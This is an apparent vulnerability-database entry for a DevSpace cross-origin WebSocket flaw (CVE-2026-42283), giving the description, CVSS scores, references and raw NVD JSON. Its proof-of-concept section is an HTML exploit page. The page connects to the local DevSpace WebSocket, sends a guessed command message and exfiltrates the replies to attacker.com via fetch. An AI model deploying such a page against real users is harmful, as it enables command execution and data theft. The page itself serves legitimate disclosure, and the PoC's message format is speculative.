CVE-2026-42283

Description

DevSpace is a client-only developer tool for cloud-native development with Kubernetes. Prior to 6.3.21, DevSpace's UI server WebSocket accepts connections from all origins by default, and therefore several endpoints are exposed via this WebSocket. When a developer runs the DevSpace UI and at the same time uses a browser to access the internet, a malicious website they visit can use their browser to establish a cross-origin WebSocket connection to ws://127.0.0.1:8090. This vulnerability is fixed in 6.3.21.

CVSS Details

CVSS Score

7.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

DevSpace < 6.3.21

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept: Cross-Site WebSocket Hijacking -->
<!-- Save as exploit.html and host on a malicious server -->
<!DOCTYPE html>
<html>
<head><title>DevSpace Exploit</title></head>
<body>
<script>
    // Target the local DevSpace UI WebSocket server
    var ws = new WebSocket("ws://127.0.0.1:8090");

    ws.onopen = function() {
        console.log("WebSocket connection established");
        // Send a malicious payload or command to the local endpoint
        // Example payload (adjust based on specific DevSpace API)
        ws.send(JSON.stringify({
            type: "execute_command",
            command: "whoami"
        }));
    };

    ws.onmessage = function(event) {
        console.log("Received data from local server: " + event.data);
        // Exfiltrate data to attacker's server
        fetch("https://attacker.com/exfil?data=" + btoa(event.data));
    };

    ws.onerror = function(error) {
        console.log("WebSocket Error: " + error);
    };
</script>
<h1>Checking connection...</h1>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42283
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42283
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42283/
[4] VulDB https://vuldb.com/cve/CVE-2026-42283
[5] https://github.com/devspace-sh/devspace/security/advisories/GHSA-hqwm-7x7x-8379

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42283", "sourceIdentifier": "[email protected]", "published": "2026-05-14T16:16:21.347", "lastModified": "2026-05-14T18:12:13.527", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "DevSpace is a client-only developer tool for cloud-native development with Kubernetes. Prior to 6.3.21, DevSpace's UI server WebSocket accepts connections from all origins by default, and therefore several endpoints are exposed via this WebSocket. When a developer runs the DevSpace UI and at the same time uses a browser to access the internet, a malicious website they visit can use their browser to establish a cross-origin WebSocket connection to ws://127.0.0.1:8090. This vulnerability is fixed in 6.3.21."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://github.com/devspace-sh/devspace/security/advisories/GHSA-hqwm-7x7x-8379", "source": "[email protected]"}]}}